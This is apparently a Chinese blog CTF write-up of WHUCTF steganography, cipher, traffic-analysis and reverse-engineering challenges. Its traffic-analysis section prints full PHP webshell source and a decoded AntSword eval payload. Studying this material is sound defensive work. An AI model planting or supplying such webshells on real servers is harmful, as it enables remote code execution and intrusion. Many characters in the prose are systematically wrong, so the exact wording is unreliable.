这是做者网络安全自学教程系列,主要是关于安全工具和实践操做的在线笔记,特分享出来与博友们学习,但愿您喜欢,一块儿进步。前文分享了Easy_unserialize解题思路,详细分享文件上传漏洞、冰蝎蚁剑用法、反序列化phar等。这篇文章将详细讲解WHUCTF隐写和逆向题目,包括文字解密、图片解密、佛语解码、冰蝎流量分析、逆向分析。第一次参加CTF,仍是学到了不少东西。人生路上,要珍惜好每一天与家人陪伴的日子。感谢武汉大学,感谢这些大佬和师傅们(尤为出题和解题的老师们)~php
做者做为网络安全的小白,分享一些自学基础教程给你们,主要是关于安全工具和实践操做的在线笔记,但愿您们喜欢。同时,更但愿您能与我一块儿操做和进步,后续将深刻学习网络安全和系统安全知识并分享相关实验。总之,但愿该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!若是文章对您有帮助,将是我创做的最大动力,点赞、评论、私聊都可,一块儿加油喔~html
文章目录
PS:本文参考了WHUCTF题目及WP、安全网站和参考文献中的文章(详见参考文献),并结合本身的经验和实践进行撰写,也推荐你们阅读参考文献。python
做者的github资源:
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其余工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
CTF案例:https://github.com/eastmountyxz/CTF-Web-WP
jquery
声明:本人坚定反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络须要咱们共同维护,更推荐你们了解它们背后的原理,更好地进行防御。git
前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登陆加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通讯(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防御
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防护初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防护原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防护原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防护(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提升班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制做(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客经常使用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和经常使用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
[网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
[网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)
[网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密
[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析
[网络安全自学篇] 六十九.宏病毒之入门基础、防护措施、自发邮件及APT28样本分析
[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向
[网络安全自学篇] 七十一.深信服分享以外部威胁防御和勒索病毒对抗
[网络安全自学篇] 七十二.逆向分析之OllyDbg动态调试工具(一)基础入门及TraceMe案例分析
[网络安全自学篇] 七十三.WannaCry勒索病毒复现及分析(四)蠕虫传播机制全网源码详细解读
[网络安全自学篇] 七十四.APT攻击检测溯源与常见APT组织的攻击案例
[网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)
[网络安全自学篇] 七十六.逆向分析之OllyDbg动态调试工具(二)INT3断点、反调试、硬件断点与内存断点
[网络安全自学篇] 七十七.恶意代码与APT攻击中的武器(强推Seak老师)
[网络安全自学篇] 七十八.XSS跨站脚本攻击案例分享及总结(二)
[网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解
[网络安全自学篇] 八十.WHUCTF之WEB类解题思路WP(代码审计、文件包含、过滤绕过、SQL注入)
[网络安全自学篇] 八十一.WHUCTF之WEB类解题思路WP(文件上传漏洞、冰蝎蚁剑、反序列化phar)
github
前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差别备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包
正则表达式
一.Misc-版权保护
1.题目描述
该题目解压以后包括两个文件,题目描述为“小p发现本身的文章被别人复制粘贴了,感到很气愤,因而他偷偷地将flag藏到了文章中,你能找到flag吗? 格式 whuctf{}”。算法
打开内容以下,由不少“我最帅”组成。这该如何获取Flag呢?shell
2.解题思路
查看“题目.txt”看到不少重复的“我最帅”,结合题目版权保护猜想其主要考察 —— 宽字节隐写,其中零宽度字符用来做为一种水印参考ga1axy大佬的文章。数据库
(1) 咱们经过CyberChef显示文字Unicode编码内容。
CyberChef是一个简单、直观的Web应用程序,用于在Web浏览器中执行各类网络操做。这些操做包括简单的编码(如XOR或Base64)、更复杂的加密(如AES、DES和Blowfish)、建立二进制文件和hexdump、数据的压缩和解压缩、计算散列和校验和、IPv6和X.509解析、更改字符编码等。GitHub连接:https://github.com/gchq/CyberChef
打开CyberChef主页显示以下图所示,好比对“Hello”进行MD5加密。
一般零宽度字符在通常的文本编辑器中是不可见的,好比:Hello,咱们用CyberChef查看一下便可发现其中的奥秘。
(2) 若是咱们直接用kali vim打开也能够看到隐藏的信息,而且值字与字之间相隔8个字符,且仅有 <200d> 和 <200c> 形式。在宽字节隐写下,\u200d表明0 ,\u200c表明1,它是否是能转换成二进制呢?
能够看到里面只有 <200d> 和 <200c> 这两种零宽度字符,稍微调整一下界面以下图所示:
(3) 编写Python脚本提取“我最帅”中的内容。若是遇到“\u200d”则显示0,遇到“\u200c”则显示1,并将结果内容看成比特串转换为ascii后显示。
#coding=utf8 import binascii f = open('题目.txt','r',encoding='utf8') lines = f.readline() f.close() #转换为二进制0和1 i = 0 content = '' for x in lines: if x == '\u200d': content += '0' elif x == '\u200c': content += '1' #i=i+1 print("输出二进制:") print(content) #-------------------------------------------------------------------------------------- #base = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, a, b, c, d, e, f] base = [str(x) for x in range(10)] + [ chr(x) for x in range(ord('a'),ord('a')+6)] #print(base) #二进制 to 十进制: int(str,n=10) def bin2dec(string_num): return str(int(string_num, 2)) #十进制 to 十六进制: hex() def dec2hex(string_num): num = int(string_num) mid = [] if num == 0: return '0' while True: if num == 0: break num,rem = divmod(num, 16) mid.append(base[rem]) return ''.join([str(x) for x in mid[::-1]]) #二进制 to 十六进制: hex(int(str,2)) def bin2hex(string_num): return dec2hex(bin2dec(string_num)) #-------------------------------------------------------------------------------------- #转换为十六进制 k = 0 result = '' num = '' while k < len(content): if k!=0 and (k+1) % 4 == 0: num += content[k] result += bin2hex(num) #二进制转十六进制 #print(num) #print(bin2hex(num),'\n') num = '' else: num += content[k] k += 1 print("\n输出十六进制:") print(result) #提取flag result = result + '0' flag = binascii.unhexlify(result) print("\n输出flag:") print(flag)
输出结果以下图所示,whuctf结果为{Y0u_kn0w_h0w_t0_pr0tect111}。
同时,咱们能够经过在线网站将0和1二进制直接转换为十六进制,而后调用binascii.unhexlify函数便可获取flag。
补充其余师傅的Python脚本方法:
with open( '题目.txt', 'rb') as f: str = f.read() print(str) length = len(str) i = 0 s = 0 sum = 0 while i < length: if (int(str[i]) == 226 and int(str[i+1]) == 128 and int(str[i+2]) == 141): sum = sum*2 s = s+1 if s % 8 == 0: print(chr(sum), end='') sum = 0 if (int(str[i]) == 226 and int(str[i+1]) == 128 and int(str[i+2]) == 140): sum = sum*2 sum = sum+1 s = s+1 if s % 8 == 0: print(chr(sum), end='') sum = 0 i = i+3
最后补充武大CTF师傅的WP代码和参考文献,确实跟他们学到不少,推荐你们学习。
- 武汉大学CTF - PeiQi师傅
- 2020_WHUCTF_Writeup - Ly-sec-l师傅
- http://www.ga1axy.top/index.php/archives/36/#版权保护 - ga1axy师傅
- whuctf.md - prontosil师傅
- https://github.com/eastmountyxz/CTF-RE
二.Misc-过早了吗
1.题目描述
该题目提供的是一张早餐图片“yummy.jpeg”,同时提示信息为“一日之计在于晨,你过早了吗? 这是个人早餐,有我喜欢的食物,有你喜欢的flag”。
看到这个题确定想到是图片隐写,图片打开以下图所示,建议读者去我Github连接下载。
2.解题思路
以前作过图片隐写的CTF题目,个人第一想法就是可否用Stegsolve工具获取二维码,而后扫描提取flag,以下图所示。哈哈,仍是本身太菜了,想得太简单了~
但这道题目,并无反映。
真正的解决方法是经过另外一个工具steghide解出隐藏的内容。
Steghide是一款开源的隐写术软件,它可让你在一张图片或者音频文件中隐藏你的秘密信息,并且你不会注意到图片或音频文件发生了任何的改变。Steghide是一个命令行软件,其安装语句为“apt-get install steghide”,你们在第一次使用时能够调用steghide --help查看帮助信息。
第一步,在Linux系统中安装steghide。
sudo apt-get install steghide
第二步,在steghide中输入以下命令获取信息。
经过steghide提取出c.txt,以下所示。
yxz@DESKTOP-KUPRQ86:~$ steghide extract -sf yummy.jpeg Enter passphrase: wrote extracted data to "c.txt". yxz@DESKTOP-KUPRQ86:~$
打开c.txt文件以下:
ABAAABAABBABAAABAABAABAAAABBAAABBBBABBBABAAABBAABBAAAAAABBABBAABBBAABBABBBAAABAAAAAAABAABBAAAABBAAABAABAAAAAAAABABAAABABAAAAABAABABAABB
第三步,仅有A和B组成,这是培根(Bacon)密码,而后对其进行解密。
- 推荐文章:培根密码——python解密
培根密码实际上就是一种替换密码,根据所给表一一对应转换便可加密解密 。
咱们经过在线解密网址进行解密,网址为:https://tool.bugku.com/peigen/
最终的flag值为:whuctf{ITISIMPORTANTTOEATBREAKFAST}
第四步,补充知识。
若是咱们想在“mm.jpg”图片中隐藏一段密码。
密码为“secret.txt”中的内容“CSDN eastmount”,以下图所示:
使用以下命令便可实现:
steghide embed -cf [图片文件载体] -ef [待隐藏文件] steghide embed -cf mm.jpg -ef secret.txt
此时咱们用Notepad++等软件时候看不到隐藏信息的,若是想查看,则要输入以下命令:
steghide info mm.jpg
为了便于区分,咱们将隐藏信息后的图片移动到另外一个文件夹内解压,而后获取加密的文件,使用命令以下:
steghide extract -sf mm.jpg
最终提取“secret.txt”文件并获取密码“CSDN eastmount”。
是否是很是有意思,O(∩_∩)O
参考及推荐文章:
- WHUCTF官方WP
- http://www.ga1axy.top/index.php/archives/36/#过早了吗 - ga1axy师傅
- [安全工具] Steghide:Linux下流行的命令行隐写工具 - 鸾林居士
三.Misc-佛系青年BingGe
1.题目描述
该题目提供的是一段描述,我看见个人朋友BingGe坐在信部网球场的栅栏边上看一本佛经,我很好奇,也过去看,只见上面写着:
佛曰:般羅穆僧冥神大侄所隸奢尼哆恐侄大藐若故曳咒室呐阿竟諳他缽悉爍諦哆咒豆苦缽尼帝所冥等上哆瑟俱薩諸諳伊冥特諳實怯他罰不參亦皤有婆僧藝俱羯怯至皤滅知真哆訶亦能怯瑟梵陀奢知呼故梵夢死有皤能薩曰俱穆勝竟怯明奢參世缽佛皤羯瑟奢孕梵逝楞呐醯故奢想謹提諦盡侄阿哆利俱吉罰老謹涅神能皤集實輸奢薩奢數哆波者俱勝俱所遠盡呐倒利闍盧諦罰薩梵曰度提大諦哆穆輸醯怯參侄諸娑梵伽知勝穆伊顛冥參道冥有
看到这个题知道是考察文字解密,好比以前分享过“王”字解密,那么这道题怎么作呢?
2.解题思路
在CTF Crypto中,解码佛语是常见题型。
第一步,咱们经过在线网站解密佛语。
在网站中输入内容并点击“参悟佛所言的真意”,解码获取数据为:
767566536773bf1ef643676363676784e1d015847635575637560ff4f41d
注意:这里佛语前边要(中文冒号)加上“佛曰:” 或者 “如是我闻:”。同理,若是咱们须要对字符串进行加密,如“flag{eastmount}”,则点击“听佛说宇宙的真谛”便可。
第二步,题目提醒“栅栏边上”,因而联想栅栏密码,屡次尝试栅栏解密+hex to ascii,发现为6时能获得flag。
栅栏密码是一种置换密码。例如密文:TEOGSDYUTAENNHLNETAMSHVAED
解密过程:先将密文分为两行
T E O G S D Y U T A E N N
H L N E T A M S H V A E D
再按上下上下的顺序组合成一句话:THE LONGEST DAY MUST HAVE AN END
经过在线网站解密获得结果:
7768756374667b6e305f315f616d5f6e30745f615f36756464683173747d
第三步,进行16进制解密获取flag。
import binascii num = '7768756374667b6e305f315f616d5f6e30745f615f36756464683173747d' flag = binascii.unhexlify(num) print(flag) #'whuctf{n0_1_am_n0t_a_6uddh1st}'
参考及推荐文章:
四.Misc-shellOfAwd
1.题目描述
该题目提供的是一个pca文件,须要对其进行解密。
文件名称为“shellofAWD.pcapng”。
2.解题思路
因为以前没作过相似的题目,该题只能参考各位师傅的WP,固然pca文件我用Wireshark导出过。
出题思路
该题的考点是冰蝎的加密流量分析,它模拟了与Webshell交互的过程,给了一个流量包并用Wireshark分析。其出题思路为:在虚拟机中开一个Web服务,将蚁剑的base64马拖进去,经过蚁剑的立刻传一个冰蝎的马,执行 ln -s /flag jquery.min.js,这样 jquery.min.js 就指向了 flag,读它就获得最终的flag。
下面解题参考师傅们的文章:
第一步,Wireshark软件打开“shellofAWD.pcapng”文件。
打开流量包,过滤http能够发现两条pass=xxx的流量,这是冰蝎流量的特征。
第二步,任选其中一条,追踪TCP流,在流中能够看到有两个返回的长度为16的字符串,这是冰蝎流量的解密密钥。
冰蝎流量的解密密钥:
- 第一次请求密钥:6d3246615ba4446d
- 第二次请求密钥:91ee1bfc4fd27c90
追踪一下TCP也看到了一个密钥协商的阶段,以下图所示,密钥协商(木马特征)的两个步骤以下。
- (1) 攻击者经过 GET 或者 POST 方法,形如 http://127.0.0.1/shell.aspx?pass=645 的请求服务器密钥。
- (2) 服务器使用随机数 MD5 的高16位做为密钥,存储到会话的 $_SESSION 变量中,并返回密钥给攻击者。
咱们在翻看TCP流的时候能够看到在第五流以前都是蚁剑的base64加密流量,从5开始为冰蝎的加密流量(上图右下角流为5),且密钥为91ee1bfc4fd27c90。
第三步,经过在线网站行流量解密,解密流程是 AES解密–>base64解密—>原始数据。
咱们须要知道的是冰蝎一般采用AES加密,能够参考:
选中一段流量进行AES在线解密。
输出结果为解密后的信息,以下图所示:
获得base64加密的字符串,再次解密,能够看到这段解密结果为文件名称。
一样,咱们能够尝试Python解密流量。下面请求表示:ant参数会执行 _0x6aa401ad3c537 变量内容,该参数此处执行了查看文件路径以及系统信息的命令。
>>> import base64 >>> s='ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtfMHg2YWE0MDFhZDNjNTM3XSkpO2RpZSgpOw==' >>> base64.b64decode(s) 'eval(base64_decode($_POST[_0x6aa401ad3c537]));die();' >>> t='QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiMmUwZWJlYTU1OTIiO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gIjYyZTgwMGEwIjt9b2Jfc3RhcnQoKTt0cnl7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JFI9InskRH0JIjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJDIiwiWiIpYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO31lbHNleyRSLj0iLyI7fSRSLj0iCSI7JHU9KGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0ZWdpZCIpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6IiI7JHM9KCR1KT8kdVsibmFtZSJdOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iCXskc30iO2VjaG8gJFI7O31jYXRjaChFeGNlcHRpb24gJGUpe2VjaG8gIkVSUk9SOi8vIi4kZS0%2BZ2V0TWVzc2FnZSgpO307YXNvdXRwdXQoKTtkaWUoKTs=' >>> base64.b64decode(t) '@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "2e0ebea5592";echo @asenc($output);echo "62e800a0";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="\t";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="\t{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e-6\x05\x9d\x95\xd15\x95\xcd\xcd\x85\x9d\x94\xa0\xa4\xed\xf4\xed\x85\xcd\xbd\xd5\xd1\xc1\xd5\xd0\xa0\xa4\xed\x91\xa5\x94\xa0\xa4\xec'
第四步,最终依次解密流量,得到最终flag值。
5U+SIO3pbt0CXFm7gLAx3xT7q0qDPFaCK8lNevS6Nrmak6Hhj9PXx3ZlGnMIgkqnqHmf6ba5VvtRMgJP6wUtoMXx5WeYJvobewjKDmZ8sSUCZJhKzzkX2ISKKy/snPv+6UOh5rBo6j/JvFGUOUjkKCbCe+nEGD9EKyv10Uu9KHU=
解密过程以下:
<?php //$flag = "whuctf{cd768eac-0746-4979-a40d-5b6a269c4dde}" ?>
同时,做者补充冰蝎的一句话木马,其实也能够从流量中解密出来。后面做者会详细讲解一篇它的用法及原理,也推荐你们仔细阅读先知社区的那篇文章 红蓝对抗——加密Webshell“冰蝎”攻防。
<?php @error_reporting(0); session_start(); if (isset($_GET['shell'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print $key; } else { $key=$_SESSION['k']; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __construct($p) {eval($p."");}} @new C($params); } ?>
五.Misc-wechat_game
1.题目描述
该题目提供的是一个minigame-1.7z文件,须要从中获取flag。
文件解压以后以下图所示:
看到游戏咱们就可能比较蒙,但咱们先审查文件看看有什么蹊跷没有。
2.解题思路
第一步,咱们在审核文件是,发现txt文件夹下的“game12345.txt”文件问题,它的时间和其余的不太同样喔!
也就是说做者编译程序以后才加的flag,注意时间是何时,比赛快开始的时候,那flag确定在里面。打开该文件显示以下图所示:
第二步,分析“game12345.txt”文件发现汉字是逆序的,那么是否能直接搜索flag呢?
顺序格式:whuctf{}
逆序格式:}{ftcuhw
搜索ftcuhw显示结果以下,flag值为:whuctf{wechat_g4m1}。
另外一种解题方法是这样的,咱们使用微信开发者程序中打开该工程。模拟运行后,程序入口为main.js。接着分析main.js,找到了分数变化的函数。
子弹击中后会将分数加1。根据题目提示,改成每次加10000,再次编译运行,结束后获得flag。
最后补充武大CTF师傅的WP代码和参考文献,推荐你们学习。
六.RE1
1.题目描述
接下来是逆向分析的题目,给出的是WHURE1.exe程序。
运行结果以下图所示:
2.解题思路
逆向分析推荐你们动静态结合分析,这里我采用OD(动态)和IDA(静态)结合。
第一步,经过OD打开EXE程序显示以下所示。
第二步,在反汇编窗口右键鼠标,选择“查找”->“全部参考文本字串”。
咱们看到了目标“gj, the flag is WHUCTF{%s}”。
第三步,选中该行内容,右键选择“反汇编窗口中跟随”。
接着定位到以下图所示位置,其中CALL WHURE1.003A1020为调用函数(003A1171),咱们能够按下F2设置断点进行动态调式。
也能够将003A1176位置设置为新的EIP。
而后按下F7单步进入调试,下图展现了OD调试的过程。
第四步,用IDA打开EXE程序。
按下F5能够查看源代码。
第五步,找到“WHUCTF”字符串的位置,而后查看对应的源代码,即sub_401090()函数,接下来分析该源代码推断输出flag的状况。
对应的源代码为sub_401090()函数,以下图所示。
源代码为:
int sub_401090() { char v0; // ST1C_1 char v1; // ST18_1 char v2; // ST14_1 char v3; // ST10_1 char v4; // ST0C_1 unsigned int v5; // ecx char v6; // dl signed int v7; // edx __int64 *v8; // ecx __int64 v10; // [esp+0h] [ebp-30h] __int64 v11; // [esp+8h] [ebp-28h] __int64 v12; // [esp+10h] [ebp-20h] int v13; // [esp+18h] [ebp-18h] int v14; // [esp+1Ch] [ebp-14h] int v15; // [esp+20h] [ebp-10h] __int64 v16; // [esp+24h] [ebp-Ch] v13 = 0; v10 = 0i64; v11 = 0i64; v12 = 0i64; v14 = 9; v15 = 2; v16 = 0i64; ((void (__cdecl *)(const char *, char))sub_401020)( " __ \n", 0); ((void (__cdecl *)(const char *, char))sub_401020)( " _ _ _ _ _ _ _ _ _____ _____ _____ _____ _____| |\n", v0); ((void (__cdecl *)(const char *, char))sub_401020)( "| | | |___| |___ ___ _____ ___ | |_ ___ | | | | | | | | |_ _| __| |\n", v1); ((void (__cdecl *)(const char *, char))sub_401020)( "| | | | -_| | _| . | | -_| | _| . | | | | | | | | --| | | | __|__|\n", v2); ((void (__cdecl *)(const char *, char))sub_401020)( "|_____|___|_|___|___|_|_|_|___| |_| |___| |_____|__|__|_____|_____| |_| |__| |__|\n", v3); ((void (__cdecl *)(const char *, char))sub_401020)("plz input your serial number\n", v4); sub_401050("%7s", (unsigned int)&v16); v5 = 0; do { v6 = *((_BYTE *)&v16 + v5); if ( (unsigned __int8)(v6 - 48) > 9u ) { sub_401020("error input !\n"); exit(0); } *((_DWORD *)&v10 + v5++) = v6 - 48; } while ( v5 < 7 ); if ( (_DWORD)v12 != 5 ) { LABEL_10: sub_401020("wrong,check your input\n"); exit(0); } v7 = 0; v8 = &v11; do { if ( *(_DWORD *)v8 + *((_DWORD *)v8 - 1) + *((_DWORD *)v8 - 2) != 15 || *(&v13 + v7) + *((_DWORD *)&v11 + v7 + 1) + *((_DWORD *)&v10 + v7) != 15 ) { goto LABEL_10; } ++v7; v8 = (__int64 *)((char *)v8 + 12); } while ( v7 < 3 ); sub_401020("gj, the flag is WHUCTF{%s}\n", (unsigned int)&v16); return 0; }
第六步,分析源代码。
(1) 输入为一个7字节的字符串。
(2) 输入大于48(数字0)。
(3) 第5个数字要为5。
(4) 进行三轮判断。
d3 + d2 + d1 =15 d7 + d4 + d1 =15 d6 + d5 + d4 =15 d8 + d5 + d2 =15 d9 + d8 + d7 =15 d9 + d6 + d3 =15
撰写的Python脚本以下所示,其中di表示第i个字节,动态调试发现d8=9 d9=2 。因此能够进行枚举,代码以下。
for d1 in range(5,10): d2=1 d3=14-d1 d4=11-d1 d5=5 d6=d1-1 d7=4 print(d1,d2,d3,d4,d5,d6,d7)
输出结果以下图所示,但题目提示“无重复数字”,故结果为“8163574”。
总结:3*3数独,知足行列和等于15,以及无重复数字便可。动态调试能够较快的分析清对输入变量的约束条件。
参考即推荐文献:
七.总结
写到这里,这篇文章就介绍完毕,但愿对您有所帮助。学安全近一年,认识了不少安全大佬和朋友,但愿你们一块儿进步。这篇文章中若是存在一些不足,还请海涵。做者做为网络安全初学者的慢慢成长路吧!但愿将来能更透彻撰写相关文章。同时很是感谢参考文献中的安全大佬们的文章分享,感谢师傅、师兄师弟、师姐师妹们的教导,深知本身很菜,得努力前行。最后仍是那句话,人生路上,好好享受陪伴家人的日子,那才是最幸福的事情,爱你~
欢迎你们讨论,是否以为这系列文章帮助到您!任何建议均可以评论告知读者,共勉。
虽然很是忙,但每当看到博友的提问或交流都不忍拒绝,其实本身真的快忙疯了。看到这些大山走出去的学生,大一新生,求职研究生或遇到问题的朋友,都想帮他们一把,由于咱们也是在不少人的帮助下成长起来的。而看到不少私活、广告、合做、出书之类的私信,我都会拒绝或不回时光飞逝,还有太多知识要去学习,太多陪伴要去争取,太多文字要去记录,且行且珍惜,最爱的人,晚安。
(By:Eastmount 2020-06-04 晚上10点写于贵阳 http://blog.csdn.net/eastmount/ )